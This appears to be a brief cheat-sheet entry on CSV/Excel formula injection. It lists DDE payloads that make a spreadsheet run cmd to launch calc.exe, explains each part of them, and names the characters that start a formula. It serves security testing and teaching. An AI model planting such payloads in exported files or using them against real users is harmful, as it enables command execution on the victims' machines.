# CSV Excel formula injection
Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel,Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
## Vuln
## Exploit
Basic exploit with Dynamic Data Exchange
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
Technical Details of the above payload:
cmd is the name the server can respond to whenever a client is trying to access the server
/C calc is the file name which in our case is the calc(i.e the calc.exe)
!A0 is the item name that specifies unit of data that a server can respond when the client is requesting the data
```
Code
Any formula can be started with
```
=
+
@
```
